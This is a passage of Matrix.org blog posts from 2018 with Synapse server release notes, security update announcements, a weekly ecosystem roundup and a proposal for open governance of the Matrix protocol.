  • support registering regular users non-interactively with register_new_matrix_user script (#3836)
  • Fix broken invite email links for self hosted riots (#3868)
  • Don't ratelimit autojoins (#3879)
  • Fix 500 error when deleting unknown room alias (#3889)
  • Fix some b'abcd' noise in logs and metrics (#3892#3895)
  • When we join a room, always try the server we used for the alias lookup first, to avoid unresponsive and out-of-date servers. (#3899)
  • Fix incorrect server-name indication for outgoing federation requests (#3907)
  • Fix adding client IPs to the database failing on Python 3. (#3908)
  • Fix bug where things occaisonally were not being timed out correctly. (#3910)
  • Fix bug where outbound federation would stop talking to some servers when using workers (#3914)
  • Fix some instances of ExpiringCache not expiring cache items (#3932#3980)
  • Fix out-of-bounds error when LLing yourself (#3936)
  • Sending server notices regarding user consent now works on Python 3. (#3938)
  • Fix exceptions from metrics handler (#3956)
  • Fix error message for events with m.room.create missing from auth_events (#3960)
  • Fix errors due to concurrent monthly_active_user upserts (#3961)
  • Fix exceptions when processing incoming events over federation (#3968)
  • Replaced all occurences of e.message with str(e). Contributed by Schnuffle (#3970)
  • Fix lazy loaded sync in the presence of rejected state events (#3986)
  • Fix error when logging incomplete HTTP requests (#3990)

Internal Changes

  • Unit tests can now be run under PostgreSQL in Docker using test_postgresql.sh. (#3699)
  • Speed up calculation of typing updates for replication (#3794)
  • Remove documentation regarding installation on Cygwin, the use of WSL is recommended instead. (#3873)
  • Fix typo in README, synaspse -> synapse (#3897)
  • Increase the timeout when filling missing events in federation requests (#3903)
  • Improve the logging when handling a federation transaction (#3904#3966)
  • Improve logging of outbound federation requests (#3906#3909)
  • Fix the docker image building on python 3 (#3911)
  • Add a regression test for logging failed HTTP requests on Python 3. (#3912)
  • Comments and interface cleanup for on_receive_pdu (#3924)
  • Fix spurious exceptions when remote http client closes conncetion (#3925)
  • Log exceptions thrown by background tasks (#3927)
  • Add a cache to get_destination_retry_timings (#3933#3991)
  • Automate pushes to docker hub (#3946)
  • Require attrs 16.0.0 or later (#3947)
  • Fix incompatibility with python3 on alpine (#3948)
  • Run the test suite on the oldest supported versions of our dependencies in CI. (#3952)
  • CircleCI now only runs merged jobs on PRs, and commit jobs on develop, master, and release branches. (#3957)
  • Fix docstrings and add tests for state store methods (#3958)
  • fix docstring for FederationClient.get_state_for_room (#3963)
  • Run notify_app_services as a bg process (#3965)
  • Clarifications in FederationHandler (#3967)
  • Further reduce the docker image size (#3972)
  • Build py3 docker images for docker hub too (#3976)
  • Updated the installation instructions to point to the matrix-synapse package on PyPI. (#3985)
  • Disable USE_FROZEN_DICTS for unittests by default. (#3987)
  • Remove unused Jenkins and development related files from the repo. (#3988)
  • Improve stacktraces in certain exceptions in the logs (#3989)
  • Pin to prometheus_client<0.4 to avoid renaming all of our metrics (#4002)

Synapse 0.33.5.1 released!

2018-09-24 — General — 

Folks, Synapse 0.33.5.1 is here.

0.33.5.1 is an interesting release. On the one hand it contains the usual bug fixes and performance improvements of a point release, but it also our first versioned release where monolith installs can be run under Python 3.5 and 3.6! Python 3 support is very much in beta, so please be cautious but if you would like to try running under a py3 environment we'd love to get your feedback.

We've been running it ourselves for the past few weeks, and feel pretty good about it, not least the 2-3x improvement in RAM usage.

Currently the only way to run under python 3 is to download via github, there is no deb support as yet, though this will come as soon as we are confident to recommend python 3 as the default version.

We'll be blogging about our porting project in more detail in the future, so watch this space - exciting times!

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, for the first time, Synapse is now available from PyPI, pick it up here.

Synapse 0.33.5.1

 

Internal Changes

  • Fix incompatibility with older Twisted version in tests. Thanks @OlegGirko! (#3940)

Synapse 0.33.5

 

Features

  • Python 3.5 and 3.6 support is now in beta. (#3576)
  • Implement event_format filter param in /sync (#3790)
  • Add synapse_admin_mau:registered_reserved_users metric to expose number of real reaserved users (#3846)

Bugfixes

  • Remove connection ID for replication prometheus metrics, as it creates a large number of new series. (#3788)
  • guest users should not be part of mau total (#3800)
  • Bump dependency on pyopenssl 16.x, to avoid incompatibility with recent Twisted. (#3804)
  • Fix existing room tags not coming down sync when joining a room (#3810)
  • Fix jwt import check (#3824)
  • fix VOIP crashes under Python 3 (#3821) (#3835)
  • Fix manhole so that it works with latest openssh clients (#3841)
  • Fix outbound requests occasionally wedging, which can result in federation breaking between servers. (#3845)
  • Show heroes if room name/canonical alias has been deleted (#3851)
  • Fix handling of redacted events from federation (#3859)
  • (#3874)
  • Mitigate outbound federation randomly becoming wedged (#3875)

Internal Changes

  • CircleCI tests now run on the potential merge of a PR. (#3704)
  • http/ is now ported to Python 3. (#3771)
  • Improve human readable error messages for threepid registration/account update (#3789)
  • Make /sync slightly faster by avoiding needless copies (#3795)
  • handlers/ is now ported to Python 3. (#3803)
  • Limit the number of PDUs/EDUs per federation transaction (#3805)
  • Only start postgres instance for postgres tests on Travis CI (#3806)
  • tests/ is now ported to Python 3. (#3808)
  • crypto/ is now ported to Python 3. (#3822)
  • rest/ is now ported to Python 3. (#3823)
  • add some logging for the keyring queue (#3826)
  • speed up lazy loading by 2-3x (#3827)
  • Improved Dockerfile to remove build requirements after building reducing the image size. (#3834)
  • Disable lazy loading for incremental syncs for now (#3840)
  • federation/ is now ported to Python 3. (#3847)
  • Log when we retry outbound requests (#3853)
  • Removed some excess logging messages. (#3855)
  • Speed up purge history for rooms that have been previously purged (#3856)
  • Refactor some HTTP timeout code. (#3857)
  • Fix running merged builds on CircleCI (#3858)
  • Fix typo in replication stream exception. (#3860)
  • Add in flight real time metrics for Measure blocks (#3871)
  • Disable buffering and automatic retrying in treq requests to prevent timeouts. (#3872)
  • mention jemalloc in the README (#3877)
  • Remove unmaintained "nuke-room-from-db.sh" script (#3888)

Synapse 0.33.4 released!

2018-09-11 — General — 

Roll up, roll up, get it while it's hot, Synapse 0.33.4 is here.

This release brings together a whole host of bug fixes, some enhancements to resource usage management and a bunch of internal changes in readiness for room member state lazy loading and our ongoing port to Python 3 (we are hoping to ship a py3 test candidate rsn!).

As ever, you can get the new update from https://github.com/matrix-org/synapse/releases/tag/v0.33.4 or any of the sources mentioned at https://github.com/matrix-org/synapse.

Features

  • Support profile API endpoints on workers (#3659)
  • Server notices for resource limit blocking (#3680)
  • Allow guests to use /rooms/:roomId/event/:eventId (#3724)
  • Add mau_trial_days config param, so that users only get counted as MAU after N days. (#3749)
  • Require twisted 17.1 or later (fixes #3741). (#3751)

Bugfixes

  • Fix error collecting prometheus metrics when run on dedicated thread due to threading concurrency issues (#3722)
  • Fix bug where we resent "limit exceeded" server notices repeatedly (#3747)
  • Fix bug where we broke sync when using limit_usage_by_mau but hadn't configured server notices (#3753)
  • Fix 'federation_domain_whitelist' such that an empty list correctly blocks all outbound federation traffic (#3754)
  • Fix tagging of server notice rooms (#3755#3756)
  • Fix 'admin_uri' config variable and error parameter to be 'admin_contact' to match the spec. (#3758)
  • Don't return non-LL-member state in incremental sync state blocks (#3760)
  • Fix bug in sending presence over federation (#3768)
  • Fix bug where preserved threepid user comes to sign up and server is mau blocked (#3777)

Internal Changes

  • Removed the link to the unmaintained matrix-synapse-auto-deploy project from the readme. (#3378)
  • Refactor state module to support multiple room versions (#3673)
  • The synapse.storage module has been ported to Python 3. (#3725)
  • Split the state_group_cache into member and non-member state events (and so speed up LL /sync) (#3726)
  • Log failure to authenticate remote servers as warnings (without stack traces) (#3727)
  • The CONTRIBUTING guidelines have been updated to mention our use of Markdown and that .misc files have content. (#3730)
  • Reference the need for an HTTP replication port when using the federation_reader worker (#3734)
  • Fix minor spelling error in federation client documentation. (#3735)
  • Remove redundant state resolution function (#3737)
  • The test suite now passes on PostgreSQL. (#3740)
  • Fix MAU cache invalidation due to missing yield (#3746)
  • Make sure that we close db connections opened during init (#3764)
  • Unignore synctl in .dockerignore to fix docker builds (#3802)
 

Critical Security Update: Synapse 0.33.3.1

2018-09-06 — General — 
Hi All,As referenced in yesterday's pre-disclosure, today we are releasing Synapse 0.33.3.1 as a critical security update.We have patched two security vulnerabilities we identified whilst working on the upcoming r0 spec release for the Server-Server API (see details below). We do not believe either have been exploited in the wild, but strongly recommend everybody running a federated Synapse upgrades immediately. As always you can get the new update here or from any of the sources mentioned at https://github.com/matrix-org/synapse/Many thanks for your patience and understanding; with fixes like this we are moving ever closer to Synapse reaching a 1.0 Thanks also to the package maintainers who have coordinated with us to ensure distro packages are available for a speedy upgrade!Note, for anyone running Debian Jessie, we have prepared a 0.33.2.1 deb (as 0.33.3 dropped support for Jessie).

 

Synapse 0.33.3.1 (2018-09-06)

SECURITY FIXES

  • Fix an issue where event signatures were not always correctly validated (#3796)
  • Fix an issue where server_acls could be circumvented for incoming events (#3796)

Internal Changes

  • Unignore synctl in .dockerignore to fix docker builds (#3802)

Pre-disclosure: Upcoming critical security fix for Synapse

2018-09-05 — General — 
Hi all,During the ongoing work to finalise a stable release of Matrix's Server-Server federation API, we've been doing a full audit of Synapse's implementation and have identified a serious vulnerability which we are going to release a security update to address (Synapse 0.33.3.1) on Thursday Sept 6th 2018 at 12:00 UTC.We are coordinating with package maintainers to ensure that patched versions of packages will be available at that time - meanwhile, if you run your own Synapse, please be prepared to upgrade as soon as the patched versions are released.  All previous versions of Synapse are affected, so everyone will want to upgrade.Thank you for your time, patience and understanding while we resolve the issue,

signed_predisclosure.txt

Recent matrix.org website improvements

2018-09-05 — General — 

Recently I've been working to improve some of the content on the matrix.org website.

Firstly the FAQ now has updated content and a more presentable menu.

We have a Guides Index, which includes a clarified guide list, plus links to off-site contributions from the community. It's possible to click "recommend" on these items if you've had a good experience with them. If you have documentation or guides you'd like to see added to the list, contact me on Matrix or make a pull request on the site repo.

Finally, as part of a programme to improve visibility on projects in the Matrix ecosystem, we are introducing the "Matrix Clients Matrix". This is a list of some of the most popular current Matrix clients in the ecosystem today, and should shed some light on current feature statuses! The list is not exhaustive, and if you would like to see your client project included, please contact me at the same address, or come chat in the Matrix Client Developers community room. Pretty green Features grid:

Synapse 0.33.3 Released

2018-08-22 — General — 

All the threes, Synapse 0.33.3!

This release brings together a lot of bugfixes, and also some preparation for support for Lazy Loading and Room Versioning.

We also have, as a great contribution from @vojeroen, SNI extension support! With v0.33.3, Synapse now supports sending SNI over federation for vhosted servers, which resolves this long-standing request.

As always, you can get the new update from https://github.com/matrix-org/synapse/releases/tag/v0.33.3 or any of the sources mentioned at https://github.com/matrix-org/synapse.

 

Features

  • Add support for the SNI extension to federation TLS connections. Thanks to @vojeroen! (#3439)
  • Add /_media/r0/config (#3184)
  • speed up /members API and add at and membership params as per MSC1227 (#3568)
  • implement summary block in /sync response as per MSC688 (#3574)
  • Add lazy-loading support to /messages as per MSC1227 (#3589)
  • Add ability to limit number of monthly active users on the server (#3633)
  • Support more federation endpoints on workers (#3653)
  • Basic support for room versioning (#3654)
  • Ability to disable client/server Synapse via conf toggle (#3655)
  • Ability to whitelist specific threepids against monthly active user limiting (#3662)
  • Add some metrics for the appservice and federation event sending loops (#3664)
  • Where server is disabled, block ability for locked out users to read new messages (#3670)
  • set admin uri via config, to be used in error messages where the user should contact the administrator (#3687)
  • Synapse's presence functionality can now be disabled with the "use_presence" configuration option. (#3694)
  • For resource limit blocked users, prevent writing into rooms (#3708)

Bugfixes

  • Fix occasional glitches in the synapse_event_persisted_position metric (#3658)
  • Fix bug on deleting 3pid when using identity servers that don't support unbind API (#3661)
  • Make the tests pass on Twisted < 18.7.0 (#3676)
  • Don't ship recaptcha_ajax.js, use it directly from Google (#3677)
  • Fixes test_reap_monthly_active_users so it passes under postgres (#3681)
  • Fix mau blocking calulation bug on login (#3689)
  • Fix missing yield in synapse.storage.monthly_active_users.initialise_reserved_users (#3692)
  • Improve HTTP request logging to include all requests (#3700, #3723)
  • Avoid timing out requests while we are streaming back the response (#3701)
  • Support more federation endpoints on workers (#3705, #3713)
  • Fix "Starting db txn 'get_all_updated_receipts' from sentinel context" warning (#3710)
  • Fix bug where state_cache cache factor ignored environment variables (#3719)

Deprecations and Removals

Internal Changes

  • The test suite now can run under PostgreSQL. (#3423)
  • Refactor HTTP replication endpoints to reduce code duplication (#3632)
  • Tests now correctly execute on Python 3. (#3647)
  • Sytests can now be run inside a Docker container. (#3660)
  • Port over enough to Python 3 to allow the sytests to start. (#3668, #3732)
  • Update docker base image from alpine 3.7 to 3.8. (#3669)
  • Rename synapse.util.async to synapse.util.async_helpers to mitigate async becoming a keyword on Python 3.7. (#3678)
  • Synapse's tests are now formatted with the black autoformatter. (#3679)
  • Implemented a new testing base class to reduce test boilerplate. (#3684)
  • Rename MAU prometheus metrics (#3690)
  • add new error type ResourceLimit (#3707)
  • Logcontexts for replication command handlers (#3709)
  • Update admin register API documentation to reference a real user ID. (#3712)

Synapse 0.33.2 is here!

2018-08-09 — General — 

Folks, it's release time, Synapse 0.33.2 has landed.

The release focuses on performance, notable highlights include reducing CPU consumption through speeding up state delta calculations (#3592) and reducing I/O through lazily loading state on the master process (#3579#3581#3582#3584)

Separately work continues on our python 3 port and we hope to have something concrete to trial very soon - we're really excited about this and expect step change improvements in CPU and memory use.

Finally we have some ground work for upcoming room membership lazy loading, there is nothing to see here as yet, but rest assured we will make a lot of noise as soon as it is ready. Stay tuned.

As always, you can get the new update from https://github.com/matrix-org/synapse/releases/tag/v0.33.2 or any of the sources mentioned at https://github.com/matrix-org/synapse.

 

Synapse 0.33.2 (2018-08-09)

No significant changes.

Synapse 0.33.2rc1 (2018-08-07)

Features

  • add support for the lazy_loaded_members filter as per MSC1227 (#2970)
  • add support for the include_redundant_members filter param as per MSC1227 (#3331)
  • Add metrics to track resource usage by background processes (#3553#3556#3604#3610)
  • Add code label to synapse_http_server_response_time_seconds prometheus metric (#3554)
  • Add support for client_reader to handle more APIs (#3555#3597)
  • make the /context API filter & lazy-load aware as per MSC1227 (#3567)
  • Add ability to limit number of monthly active users on the server (#3630)
  • When we fail to join a room over federation, pass the error code back to the client. (#3639)
  • Add a new /admin/register API for non-interactively creating users. (#3415)

Bugfixes

  • Make /directory/list API return 404 for room not found instead of 400 (#2952)
  • Default inviter_display_name to mxid for email invites (#3391)
  • Don't generate TURN credentials if no TURN config options are set (#3514)
  • Correctly announce deleted devices over federation (#3520)
  • Catch failures saving metrics captured by Measure, and instead log the faulty metrics information for further analysis. (#3548)
  • Unicode passwords are now normalised before hashing, preventing the instance where two different devices or browsers might send a different UTF-8 sequence for the password. (#3569)
  • Fix potential stack overflow and deadlock under heavy load (#3570)
  • Respond with M_NOT_FOUND when profiles are not found locally or over federation. Fixes #3585 (#3585)
  • Fix failure to persist events over federation under load (#3601)
  • Fix updating of cached remote profiles (#3605)
  • Fix 'tuple index out of range' error (#3607)
  • Only import secrets when available (fix for py < 3.6) (#3626)

Internal Changes

  • Remove redundant checks on who_forgot_in_room (#3350)
  • Remove unnecessary event re-signing hacks (#3367)
  • Rewrite cache list decorator (#3384)
  • Move v1-only REST APIs into their own module. (#3460)
  • Replace more instances of Python 2-only iteritems and itervalues uses. (#3562)
  • Refactor EventContext to accept state during init (#3577)
  • Improve Dockerfile and docker-compose instructions (#3543)
  • Release notes are now in the Markdown format. (#3552)
  • add config for pep8 (#3559)
  • Merge Linearizer and Limiter (#3571#3572)
  • Lazily load state on master process when using workers to reduce DB consumption (#3579#3581#3582#3584)
  • Fixes and optimisations for resolve_state_groups (#3586)
  • Improve logging for exceptions when handling PDUs (#3587)
  • Add some measure blocks to persist_events (#3590)
  • Fix some random logcontext leaks. (#3591#3606)
  • Speed up calculating state deltas in persist_event loop (#3592)
  • Attempt to reduce amount of state pulled out of DB during persist_events (#3595)
  • Fix a documentation typo in on_make_leave_request (#3609)
  • Make EventStore inherit from EventFederationStore (#3612)
  • Remove some redundant joins on event_edges.room_id (#3613)
  • Stop populating events.content (#3614)
  • Update the /send_leave path registration to use event_id rather than a transaction ID. (#3616)
  • Refactor FederationHandler to move DB writes into separate functions (#3621)
  • Remove unused field "pdu_failures" from transactions. (#3628)
  • rename replication_layer to federation_client (#3634)
  • Factor out exception handling in federation_client (#3638)
  • Refactor location of docker build script. (#3644)
  • Update CONTRIBUTING to mention newsfragments. (#3645)
 

This Week in Matrix 2018-08-03

2018-08-04 — General — 

Spec Progress

Progress on the spec has been motoring since TravisR dived (dove?) into it full time a few weeks ago - the Federation API r0 megathread bug that tracks progress on filling in the gaps on the S2S API is clearing its checkboxes at an impressive rate.

Some points of note regarding current proposals:

  • MSC1466 Erik proposes a soft_logout field to be added to the body of 401 responses, to better help handling of encryption keys. Check the proposal notes
  • MSC1452 agreement has been reached on Homeserver Warning Messages
We're going with pinned messages (option 2) and room tags (option 5) as that seems to be where the consensus is: it re-uses existing bits of the spec and room tags also help clients that don't know about this specific room tag to handle the room the right way
  • MSC1425 Room Versioning It's likely that in the immediate future we'll want to change the properties of rooms in a way that will not be compatible with existing servers - for example, changing the rules for event auth or state resolution, or changing the format of an event id.
  • MSC1318 Documentation describing the anticipated Open Governance of Matrix.org (aka, Matrix.org Foundation)

Python SDK -> Python 3 ?

The maintainers of the Matrix Python SDK are mulling some major changes to the library. In particular, the desire to use await / async syntax means they are considering making Python 3.5 the minimum supported version. Go chat about this change and comment on the proposal issue.

Clients

Riot/Web 0.16

Big congratulations to the Riot/Web team on the release of 0.16. You can read all about it here, but I'll give you the headlines now:
  • Replies are now available, there is UX for them and they look great
  • Jitsi is now the default video conferencing provider across Web, iOS and Android, with new widget integrations for Riot Web
  • New composer (text box) using Slate.js rather than Draft.js, which fixes many existing bugs and improves performance
Meanwhile, Lazy Loading implementation is approaching completion, promising several factors of improved resource utilisation!

nheko 0.5.2

Also now available on flathub!

Go download nheko and check out the 0.5.2 release notes.

New features just in the last week or so:

  • Mark own read messages with a double checkmark
  • Add option to specify the scale factor
  • Add input field to specify the device name on login.
  • Add option to ignore key requests altogether.
  • Show device list in user profile & add option to create 1-1 chat.
Plus lots of improvements and bug fixes.

libQMatrixClient and Quaternion

kitsune has been working on resend functionality:
libQMatrixClient and Quaternion have gained ability to resend and discard unsent messages. this means if Quaternion could not, after several attempts, deliver a message, a user can click "Resend" and it will try again
On the subject of libQMatrixClient, it's exciting that Konversation, the KDE IRC client, may in future start to use libQMatrixClient for Matrix support!

Matrique

Black Hat announces a Flatpak repo for Matrique:
Matrique now has a Flatpak repo. It is the nightly build of the master branch. You can add the repo by typing flatpak remote-add matrique https://b0.gitlab.io/matrique-repo/matrique.flatpakrepo and install it by flatpak install matrique org.eu.encom.matriqueAs it is still Alpha quality, bugs are expected. Feel free to open an issue if anything goes wrong!

Fractal 3.29.6

New release of Fractal to 3.29.6. Notes from the changelog:
  • Add German translation
  • Message right click menu with: view source, reply, copy text and delete
  • Styles for quotes in messages
  • Initial sync speed up

Neo

Incremental improvements to Neo from fox:
Neo now has inline youtube and image url previews, and handles room state changes such as name, avatar and topic as they occur.

Riot/Mobile

  • Android: a lot of bug fixes and small UI improvements
  • iOS: Lazy Loading is coming to life, showing huge improvements in bandwidth usage and performance in the app

Updates on IRC bridges from Half-Shot

Half-Shot has been working tirelessly on the IRC bridge lately, so I wanted to update on his recent successes:
I've recently been working on mitigating the effects of a netsplit on the IRC bridge, and optimising it to start and run faster. This week I trimmed down the heap usage (where the memory usually goes) to just under a gigabyte on my 10,000 matrix user test bridge. Previously it could spike to as much as 3.5GB. This optimisation is still in a testing phase but results are looking positive.
For reference here is the memory usage of the Freenode process during startup:

And here are the results of my local test bridge before and after the change:

Before:

After:

We also made some internal changes to the appservice-bridge to cache the joined state of all the bridge users and therefore avoiding joining rooms which saves us some time on startup.

Matrix for Grafana, and more from Ananace

In his regular spot, Ananace has made progress on his Matrix sysadmin/ruby suite:

Synapse

Synapse 0.33.1 is out now as a security update release. Please update if you haven't already - it fixes two issues concerning event visibility where if you knew the event ID of an event you could read it even if you didn't have access to it; we don't believe these have been exploited in the wild, but you will definitely want to upgrade now.

Meanwhile the Python 3 port is progressing well (all sytests now pass in Python 3, i think!), and intrepid folks are starting to experiment with running it in production.

Decentralised Web Summit & Matrix Live

Meanwhile, Matthew & Amandine have been in San Francisco for the 2018 Decentralised Web Summit - so this week's Matrix Live is live from SFO and gives a quick overview of the sort of things we got up to!  Some of the sessions are already online thanks to the (somewhat unreliable) live stream (e.g. here's Muneeb (Blockstack), Amandine, Danielle (Dat), and Zooko (Zcash) talking about their respective governance models & growing pains over the last 2 years: https://youtu.be/tsz3ffrJDpw?t=12133).  The summit was a massive success, with lots of discussions about decentralised reputation, UI/UX for decentralised apps, metadata-resistance, the balance of P2P versus decentralised-servers, etc.  Hopefully some of the conversations we had will result in some major improvements to Matrix in the future!

Edit: Here are the slides for our "Diving into Decentralised Communication" workshop, for those interested in a comparison between Matrix/SSB/Mastodon/Status/Vuvuzela/Briar.  They're pretty minimal, as they just formed a framework for discussion, but might still be of interest.

Security update: Synapse 0.33.1

2018-08-02 — General — 

Hi All,

We have patched two securities vulnerabilities (details follow), we do not believe either have been exploited in the wild, but recommend upgrading asap.

As always you can get the new update from https://github.com/matrix-org/synapse/releases/tag/v0.33.1 or from any of the sources mentioned at https://github.com/matrix-org/synapse/

Thanks

 

Changes in Synapse v0.33.1 (2018-08-2)

  • Fix a potential issue where servers could request events for rooms they have not joined. (#3641)
  • Fix a potential issue where users could see events in private rooms before they joined. (#3642)

Security update: Synapse 0.32.0

2018-07-06 — General — 
Folks, Synapse 0.32.0 is an important security update: please upgrade as soon as you can.The release focuses on security; fixing several federation bugs and adding new features for countering abuse. Notably it includes the ability to blacklist & whitelist servers allowed to send events to a room on a per-room basis via the new m.room.server_acl state event: see MSC1383 for details.  This also closes out https://github.com/matrix-org/matrix-doc/issues/709 - one of our oldest feature requests from users who wish to be able to limit the servers allowed to participate in a given room.It's important to understand that server ACLs only work if all the servers participating in the room honour them.  In future this will be handled better (as part of ongoing work in making it easier to incrementally version and upgrade the federation protocol).  This means that for the ACLs to work, any servers which don't yet implement ACLs (e.g. older Synapses) have to be ACL'd from the room for the access control to work.  Therefore please upgrade as soon as possible to avoid this problem.This ongoing flurry of security work is in general all part of moving towards the long-awaited stable release of the Server-Server API. In parallel we've been working on the other main outstanding point: State Resets (i.e. scenarios where you get unexpected results when resolving conflicts between different servers' copies of a room).  There will be a few more major changes and upgrades on the horizon as we fix these, but then we'll finally be able to cut an r0 release of the Server-Server API and Matrix will be one massive step closer to being out of beta!As always, you can get the new update from https://github.com/matrix-org/synapse/releases/tag/v0.32.1 or any of the sources mentioned at https://github.com/matrix-org/synapse.

Changes in synapse v0.32.0 (2018-07-06)

No changes since 0.32.0rc1

Synapse 0.32.0rc1 (2018-07-05)

 

Features

  • Add blacklist & whitelist of servers allowed to send events to a room via m.room.server_acl event. (merge)
  • Cache factor override system for specific caches (#3334)
  • Add metrics to track appservice transactions (#3344)
  • Try to log more helpful info when a sig verification fails (#3372)
  • Synapse now uses the best performing JSON encoder/decoder according to your runtime (simplejson on CPython, stdlib json on PyPy). (#3462)
  • Add optional ip_range_whitelist param to AS registration files to lock AS IP access (#3465)
  • Reject invalid server names in federation requests (#3480)
  • Reject invalid server names in homeserver.yaml (#3483)

Bugfixes

  • Strip access_token from outgoing requests (#3327)
  • Redact AS tokens in logs (#3349)
  • Fix federation backfill from SQLite servers (#3355)
  • Fix event-purge-by-ts admin API (#3363)
  • Fix event filtering in get_missing_events handler (#3371)
  • Synapse is now stricter regarding accepting events which it cannot retrieve the prev_events for. (#3456)
  • Fix bug where synapse would explode when receiving unicode in HTTP User-Agent header (#3470)
  • Invalidate cache on correct thread to avoid race (#3473)

Improved Documentation

Deprecations and Removals

  • Remove was_forgotten_at (#3324)

Misc

Towards open governance for Matrix.org

2018-06-20 — General — 
Hi all,Since we created Matrix.org back in 2014, the majority of the Matrix core team has worked for the same company - originally subsidiaries of Amdocs, and then since August 2017 for New Vector; the startup we incorporated to rehire the core team and support Matrix after we parted ways from Amdocs.Despite working for a for-profit company, our prime directive has always been the long term mission to successfully run Matrix as a non-profit initiative for the benefit of the whole internet: to create a ubiquitous secure open network which gives users control back over their communication and avoids them ever being locked into silos again.  And even though Matrix.org hasn't been a formal non-profit foundation, we've treated it as such in all respects (e.g. gathering donations to support development on Matrix)Running Matrix.org as a non-profit means prioritising to neutrally support all players in the whole ecosystem without ever giving unfair advantage to any individual participant (particularly New Vector) - where that ecosystem includes end-users, client devs, testers, spec devs, server admins, companies building products on Matrix, bridge devs, bot devs, widget devs, server devs, distro maintainers, moderators, even end-users who are using Matrix indirectly via bridges.That being said, having the core team work for the same startup is still a somewhat unorthodox model for an open source project building an open standard, so we'd like to explain the main reasons for doing it up to this point:
  • To ensure that Matrix is fit for real-world usage and to force us to dogfood it. To ensure that it is a protocol that works well enough that you can build a commercial startup around it if you so wanted, and to motivate us to build Matrix as something more than an academic or nerdy exercise in protocol design - rather one which can be commercially viable.
  • To help ensure the core team is aligned and pulling towards the same goal, especially during the process of actually designing and “giving birth” to the initial protocol and getting it to an ‘r0' release across all APIs.  We strongly believe that when a project is in the design phase you get faster and better design from a bunch of people who are collaborating together towards the same goal, rather than independent factions who might pursue their own agendas at the expense of the overall project.
  • Because we believe the value of Matrix lies in the size of the ecosystem, and if Matrix realises its full potential (i.e. it grows as big as the web), it only makes it more useful and valuable for *everyone*. We realise that it might be a leap of faith to believe that we don't have any incentive to sabotage Matrix by privileging specific players (after all, there are so many companies out there in it just for the cash), but the fact is that this is where we stand, and we're doing our best to prove it. To spell it out: it is in New Vector's interest (and also in the interests of other Matrix-focused companies) to grow Matrix to be as big, open, unfragmented and as neutral as possible.  Matrix should be big enough for a multitude of wildly successful companies and projects to benefit from it, and everyone wins - just like the web.
However, this approach is not perfect and comes with some major problems:
  • Without clear separation of responsibilities and incentives, we have to ask the community to take it on faith that our efforts are never intended to privilege New Vector ahead of the wider ecosystem. This leaves room for doubt, especially when our reasoning is unclear or our conclusions controversial.A good example of a controversial decision is the lack of investment by the core team in the Server-Server API.  For the last ~2 years (since Mar 2016) we made the judgement call to prioritise user-facing features and experience.  The rationale was that to grow Matrix we need to provide a viable alternative to Slack/Discord/WhatsApp etc, and doing that means providing a Client-Server API which lets clients do just that, and server implementations capable of running at scale. This is why the CS API has had a stable release since Dec 2015 (currently at r0.3.0) and why we've put so much effort into server scaling/perf... but the SS API itself still has bugs and has still not yet made it to a stable release.This is obviously incredibly frustrating to server devs who tried to implement the SS API despite it being unstable and unreleased. In retrospect it might have been a mistake and we could probably have turned off signup on matrix.org and diverted the resources to the SS API work instead.  However, this is a case of making the judgement call to prioritising the overall ecosystem over one class of stakeholders (server devs) by focusing on providing users usable and featureful decentralised communication apps. Indeed we strongly believe that users are the main means to grow the ecosystem (others have failed without them): no one joins a network with no friends, however popular it is among devs.  Nonetheless, we are finally in a position to hire spec maintainers and get to a stable S2S as fast as we possibly can, and frankly feel relieved to be able to unblock this situation.Another good example is the recent 0.31.2 security update of Synapse: this was a defensive patch to the protocol that we added to ensure that even if bugs occur when authing events over federation, it should be impossible for a random user to ever hijack a room again.  We specced this out as a formal proposal and are gathering feedback, but expedited implementation in Synapse to protect the overall ecosystem. However, it turns out that the change breaks a small number of highly custom rooms, and so we find ourselves accused of privileging NV.  The reality is that we made a judgement call to protect the vast majority of today's ecosystem (and hope to provide a longer-term fix in the relatively near future which /will/ be compatible with more custom room use cases).
  • Another problem is some companies find it a turn-off to participate in Matrix unless they have a well-defined process for influencing the direction of the protocol.  Now, sometimes this could be seen as a feature rather than a bug; the last thing the ecosystem needs is a greedy corp trying to subvert the protocol to its own competitive advantage, and we don't want to be locked in that kind of battle either.  However, there are also lots of well-meaning and constructive companies who want to participate too, and there's an argument that they want a well-defined process for doing so.
  • The other main problem is simply one of checks & balances.  Even though NV may be a good guardian today, what if something changed in future? e.g. if NV got bought by Microsoft, or if someone on the team had some crisis and changed priorities?  Whilst one could always fork, such things are incredibly disruptive and fragmenting and it'd be good to engineer Matrix.org's governance to be resilient to such eventualities as much as is possible.
To address these problems, in March of this year we started work on a long term proposal to establish an open governance model for Matrix which ensures the neutrality of the protocol, lets the community contribute as widely as possible, and incorporates a dedicated neutral non-profit Matrix.org Foundation separate to New Vector.As work progressed on the proposal, it became clear that actually transitioning to a new governance model would seriously slow down the sprint towards a stable r0 release. We therefore decided to put completing the governance model on hold until after the r0 release (scheduled for the end of August).With the end of r0 now in sight, completing work on the governance model is back on the agenda. We obviously want to ensure that the proposed governance model is going to work for everyone, so we'd like to introduce the first draft of Matrix Spec Change 1318: a proposal for open governance of the Matrix.org Spec.  This is quite an early draft; the idea is to gather feedback over the next few months and we'll then incorporate the Foundation and deploy the new governance model to coincide with the long-awaited stable release of all APIs of the Matrix Spec (assuming the release doesn't slip).The main points in the proposal are:
  • To adopt the new governance model once all APIs have had a stable r0 release.  For S2S API, this means fixing the remaining flaws in the federation protocol and closing the spec omissions such that compliant independent implementations can be written purely based on the spec.  For the AS and IS and Push API it means just closing spec omissions (if any) and doing a final review.
  • To define the mission of Matrix: to return control of communication to users by building a standards-based open secure decentralised communication network.
  • To define the mandate of the core team to act as a neutral custodian of the Matrix Spec, prioritising the long-term success and growth of the overall network over individual commercial concerns.
  • To define the guiding principles of the core team, e.g. collaboration rather than competition and contrarianism.
  • To restructure the core team to incorporate members of the community as well as the founding core team.
  • To propose succession logistics for the core team
  • To propose the role and governance structure of the Matrix.org Foundation legal entity.
Feedback would be much appreciated on the MSC1318 Google Doc - or come talk about it on #matrix-spec-process:matrix.org (which we might as well use for governance too).It's exciting times as we finally move towards an initial stable release of Matrix across all APIs - we are firmly on the road to a 1.0, and improving our governance model is a massive part of that process.thanks,Matthew, Amandine & the core team.

Synapse 0.31.1 Released!

2018-06-08 — General — 

Folks,

v0.31.1 fixes a security bug in the get_missing_events federation API where event visibility rules were not applied correctly.

We are not aware of it being actively exploited but please upgrade asap.

